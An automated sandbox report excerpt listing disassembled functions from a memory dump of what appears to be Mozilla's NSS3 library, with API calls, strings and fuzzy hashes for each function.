database corruption, xrefs: 6CCBDE5C, 6CCBDE8B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CCBDE52, 6CCBDE81

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: cefe38d9d5ecbad8722260b0ee0cf424385ed84f66cfbaf059d26ac0949434cb
Instruction ID: 77ac4e5320cadb69ddc5ce794fd3bc7c26b4700c78447101bae343912ec683a4
Opcode Fuzzy Hash: cefe38d9d5ecbad8722260b0ee0cf424385ed84f66cfbaf059d26ac0949434cb
Instruction Fuzzy Hash: 2681A0716083009FD714CFA6C880B6A77F1BF45308F14886DE99A9BB55FB35E845CB62

Function 6CC6CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CC6B999), ref: 6CC6CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CC6B999), ref: 6CC6D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CC6B999), ref: 6CC6D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CC6B999), ref: 6CDB972B

Strings

%s at line %d of [%.10s], xrefs: 6CC6CFEC, 6CC6D018, 6CC6D029, 6CC6D03F, 6CDB978B
database corruption, xrefs: 6CC6CFE7, 6CC6D013, 6CC6D028, 6CC6D039, 6CC6D03E, 6CDB9786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC6CFDD, 6CC6D00E, 6CC6D022, 6CC6D033, 6CDB9780

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 18729eefa20ee1df5ddb8c795c8b8495e860efda12651da2ab58c73edc5b92bc
Instruction ID: abea1ee1029167738ed56c510030ced7b55cc0ca6a6797e3560e37af5892cfab
Opcode Fuzzy Hash: 18729eefa20ee1df5ddb8c795c8b8495e860efda12651da2ab58c73edc5b92bc
Instruction Fuzzy Hash: 816105B1A042508BD710CF2AC841BA6B7F5EF95318F28416DE449ABF42E37AD947C7A1

Function 6CD6FFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD75B40: PR_GetIdentitiesLayer.NSS3 ref: 6CD75B56

PK11_FreeSymKey.NSS3(00000000), ref: 6CD70113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CD70130
PORT_Alloc_Util.NSS3(00000040), ref: 6CD7015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6CD701AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6CD70202
free.MOZGLUE(?), ref: 6CD70224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CD70253

Strings

exporter, xrefs: 6CD700F7

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: a8622c1b604f289bc298626e4b156c1156c8b81e279231ea2f4d5f0e61d4597d
Instruction ID: df7ef9b8fdd602f3872a93d50e7dc21673c51f8fde76ebb83ca97f9125e2aa2e
Opcode Fuzzy Hash: a8622c1b604f289bc298626e4b156c1156c8b81e279231ea2f4d5f0e61d4597d
Instruction Fuzzy Hash: B561F5B1900789DBEB218FA4DC00BEA77B6BF4434CF144129ED1A96AB1E732A954C761

Function 6CD6EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CD8A4A1,?,00000000,?,00000001), ref: 6CD6EF6D

Part of subcall function 6CD8C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD8C2BF

htonl.WSOCK32(00000000,?,6CD8A4A1,?,00000000,?,00000001), ref: 6CD6EFE4
htonl.WSOCK32(?,00000000,?,6CD8A4A1,?,00000000,?,00000001), ref: 6CD6EFF1
memcpy.VCRUNTIME140(?,?,6CD8A4A1,?,00000000,?,6CD8A4A1,?,00000000,?,00000001), ref: 6CD6F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CD8A4A1,?,00000000,?,00000001), ref: 6CD6F027

Strings

dtls13, xrefs: 6CD6EF33

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: c986395dce76baa4a2aa2af8e34cf51f1eed0b2881fc7df41a979494dc94e24e
Instruction ID: 02eaa96c7783332de9c6896ab1a35dac0aa1230aaf4a9fd91b4488cc10613d15
Opcode Fuzzy Hash: c986395dce76baa4a2aa2af8e34cf51f1eed0b2881fc7df41a979494dc94e24e
Instruction Fuzzy Hash: FD310371A01225AFC710DF29DC40B8AB7E4AF49348F158029E9189BF61E731E916CBE1

Function 6CCEAF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CCEAFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CE09500,6CCE3F91), ref: 6CCEAFD2

Part of subcall function 6CD3B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CE118D0,?), ref: 6CD3B095

DER_GetInteger_Util.NSS3(?), ref: 6CCEB007

Part of subcall function 6CD36A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CCE1666,?,6CCEB00C,?), ref: 6CD36AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CCEB02F
PR_CallOnce.NSS3(6CE42AA4,6CD412D0), ref: 6CCEB046
PL_FreeArenaPool.NSS3 ref: 6CCEB058
PL_FinishArenaPool.NSS3 ref: 6CCEB060

Strings

security, xrefs: 6CCEAFB8

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 32fea5c480a8a3166867f5b51e0cd499f6d966feed7ac301f2e992ed7db9c4c1
Instruction ID: e5d224e98e4d94a5407e406a64154b1f0d953abce05da9e3aac207dcafb7f8bc
Opcode Fuzzy Hash: 32fea5c480a8a3166867f5b51e0cd499f6d966feed7ac301f2e992ed7db9c4c1
Instruction Fuzzy Hash: 1D310AB140430097DB108F14D855BBA77B4AF8B36CF104619E9799BBD1F732A50AC79B

Function 6CCE3E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6CCE40D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CCE3F7F,?,00000055,?,?,6CCE1666,?,?), ref: 6CCE40D9
Part of subcall function 6CCE40D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CCE1666,?,?), ref: 6CCE40FC
Part of subcall function 6CCE40D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CCE1666,?,?), ref: 6CCE4138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCE3EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CCE3ED6

Part of subcall function 6CD3B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CE118D0,?), ref: 6CD3B095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CCE3EEE

Part of subcall function 6CD3FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CD38D2D,?,00000000,?), ref: 6CD3FB85
Part of subcall function 6CD3FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CD3FBB1

PR_CallOnce.NSS3(6CE42AA4,6CD412D0), ref: 6CCE3F02
PL_FreeArenaPool.NSS3 ref: 6CCE3F14
PL_FinishArenaPool.NSS3 ref: 6CCE3F1C

Part of subcall function 6CD464F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CD4127C,00000000,00000000,00000000), ref: 6CD4650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CCE3F27

Strings

security, xrefs: 6CCE3EBC

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 824ae255418567c76ab694450558b780b02ecf0c079c10656de6fc7e6380179b
Instruction ID: 87e499aeb53896f62e6827825919a869da23d35896b909e417df12019f465a22
Opcode Fuzzy Hash: 824ae255418567c76ab694450558b780b02ecf0c079c10656de6fc7e6380179b
Instruction Fuzzy Hash: 55213AB29083046BD7148B15AC41FAB77B8BB4A70CF04493DF949A7B91F731E51887AA

Function 6CD2CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CD2CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CD2CE16
PR_SetError.NSS3(00000000,00000000), ref: 6CD2D079

Part of subcall function 6CD8C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD8C2BF

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 2416202ad243830f45ae3788b75e877a5a19e94ae9a029a1e480b4395d936fa5
Instruction ID: f9b228f1cdcd0beb5fd94521daebd73902fbff53d1e75fe5225e92f1bb495b38
Opcode Fuzzy Hash: 2416202ad243830f45ae3788b75e877a5a19e94ae9a029a1e480b4395d936fa5
Instruction Fuzzy Hash: CBC16FB1A002199BDB20DF14CC80BDAB7B4AF4831CF1441A9EA4897761E779EE95CF91

Function 6CD1DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6CD297C1,?,00000000,00000000,?,?,?,00000000,?,6CD07F4A,00000000), ref: 6CD1DC68

Part of subcall function 6CD40BE0: malloc.MOZGLUE(6CD38D2D,?,00000000,?), ref: 6CD40BF8
Part of subcall function 6CD40BE0: TlsGetValue.KERNEL32(6CD38D2D,?,00000000,?), ref: 6CD40C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6CD07F4A,00000000,?,00000000,00000000), ref: 6CD1DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CD07F4A,00000000,?,00000000,00000000), ref: 6CD1DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6CD07F4A,00000000,?,00000000,00000000), ref: 6CD1DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6CD07F4A,00000000,?,00000000,00000000), ref: 6CD1DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CD07F4A,00000000,?,00000000,00000000), ref: 6CD1DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6CD07F4A,00000000,?,00000000,00000000), ref: 6CD1DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6CD07F4A,00000000,?,00000000,00000000), ref: 6CD1DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6CD07F4A,00000000,?,00000000,00000000), ref: 6CD1DFAA

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 9a4a399a0e4ee438b5dbd2bfabe0d1d47b00e015a3ab0cce47a8a6fab0f05d46
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: A681E175A0E600CBFB134B18F89036A76D2DB6034AF20853AD9D9CAFF5D778D484C652

Function 6CCF3C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CCF3C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6CCF3C94

Part of subcall function 6CCE95B0: TlsGetValue.KERNEL32(00000000,?,6CD000D2,00000000), ref: 6CCE95D2
Part of subcall function 6CCE95B0: EnterCriticalSection.KERNEL32(?,?,?,6CD000D2,00000000), ref: 6CCE95E7
Part of subcall function 6CCE95B0: PR_Unlock.NSS3(?,?,?,?,6CD000D2,00000000), ref: 6CCE9605

PORT_NewArena_Util.NSS3(00000800), ref: 6CCF3CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CCF3CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6CCF3CE1

Part of subcall function 6CCF3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CD0AE42), ref: 6CCF30AA
Part of subcall function 6CCF3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CCF30C7
Part of subcall function 6CCF3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CCF30E5
Part of subcall function 6CCF3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CCF3116
Part of subcall function 6CCF3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CCF312B
Part of subcall function 6CCF3090: PK11_DestroyObject.NSS3(?,?), ref: 6CCF3154
Part of subcall function 6CCF3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCF317E

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 80fa5c318def3760fcf8799199e04e90a3e67353d03e198c8ab0da15310cae3f
Instruction ID: f94bf184fe76ffd0c8e68056bfdedb152120591cd46bee8776b9aebbccd40130
Opcode Fuzzy Hash: 80fa5c318def3760fcf8799199e04e90a3e67353d03e198c8ab0da15310cae3f
Instruction Fuzzy Hash: AE61D6B1A00200BBEB505F65DC45FAB76B9EF1474CF0C4028EE199AA62F732D815C7B2

Function 6CD33D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6CD33440: PK11_GetAllTokens.NSS3 ref: 6CD33481
Part of subcall function 6CD33440: PR_SetError.NSS3(00000000,00000000), ref: 6CD334A3
Part of subcall function 6CD33440: TlsGetValue.KERNEL32 ref: 6CD3352E
Part of subcall function 6CD33440: EnterCriticalSection.KERNEL32(?), ref: 6CD33542
Part of subcall function 6CD33440: PR_Unlock.NSS3(?), ref: 6CD3355B

TlsGetValue.KERNEL32 ref: 6CD33D8B
EnterCriticalSection.KERNEL32(?), ref: 6CD33D9F
PR_Unlock.NSS3(?), ref: 6CD33DCA
PR_SetError.NSS3(00000000,00000000), ref: 6CD33DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CD33E4F

Part of subcall function 6CD8C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD8C2BF

TlsGetValue.KERNEL32 ref: 6CD33E97
EnterCriticalSection.KERNEL32(?), ref: 6CD33EAB
PR_Unlock.NSS3(?), ref: 6CD33ED6
PR_SetError.NSS3(00000000,00000000), ref: 6CD33EEE

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: d9118eb9822ae9ef2bf1b44223483a65824d44084f487d018345716b31dbfb4b
Instruction ID: 025f9d211e1eeebe5999543a8058db2c6e3ba6751147b5c33323cf32c193e576
Opcode Fuzzy Hash: d9118eb9822ae9ef2bf1b44223483a65824d44084f487d018345716b31dbfb4b
Instruction Fuzzy Hash: 84513772A00220DBEB116F28DD44B6A73B4EF46318F055628DE0D9BB71EB31E856C791

Function 6CCE2C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(8C147316), ref: 6CCE2C5D

Part of subcall function 6CD40D30: calloc.MOZGLUE ref: 6CD40D50
Part of subcall function 6CD40D30: TlsGetValue.KERNEL32 ref: 6CD40D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CCE2C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CCE2CE0

Part of subcall function 6CCE2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CCE2CDA,?,00000000), ref: 6CCE2E1E
Part of subcall function 6CCE2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CCE2E33
Part of subcall function 6CCE2E00: TlsGetValue.KERNEL32 ref: 6CCE2E4E
Part of subcall function 6CCE2E00: EnterCriticalSection.KERNEL32(?), ref: 6CCE2E5E
Part of subcall function 6CCE2E00: PL_HashTableLookup.NSS3(?), ref: 6CCE2E71
Part of subcall function 6CCE2E00: PL_HashTableRemove.NSS3(?), ref: 6CCE2E84
Part of subcall function 6CCE2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CCE2E96
Part of subcall function 6CCE2E00: PR_Unlock.NSS3 ref: 6CCE2EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CCE2D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CCE2D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CCE2D3F
free.MOZGLUE(00000000), ref: 6CCE2D73
CERT_DestroyCertificate.NSS3(?), ref: 6CCE2DB8
free.MOZGLUE ref: 6CCE2DC8

Part of subcall function 6CCE3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCE3EC2
Part of subcall function 6CCE3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CCE3ED6
Part of subcall function 6CCE3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CCE3EEE
Part of subcall function 6CCE3E60: PR_CallOnce.NSS3(6CE42AA4,6CD412D0), ref: 6CCE3F02
Part of subcall function 6CCE3E60: PL_FreeArenaPool.NSS3 ref: 6CCE3F14
Part of subcall function 6CCE3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CCE3F27

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 84ffb81e9fd9bedbce6db41bc7d10a8acc7cda3b119c3377f74d9be24c4ec6cb
Instruction ID: 74df4e34bc2002cbbb53b12a782efc46f6e6b3397573b29c35e0d7010908050f
Opcode Fuzzy Hash: 84ffb81e9fd9bedbce6db41bc7d10a8acc7cda3b119c3377f74d9be24c4ec6cb
Instruction Fuzzy Hash: B9512E72A043169BEB10DF29CCA9B6B77E5EF8A308F14052CED4983650F731E914CB92

Function 6CD08F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CCFDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CD08FAF
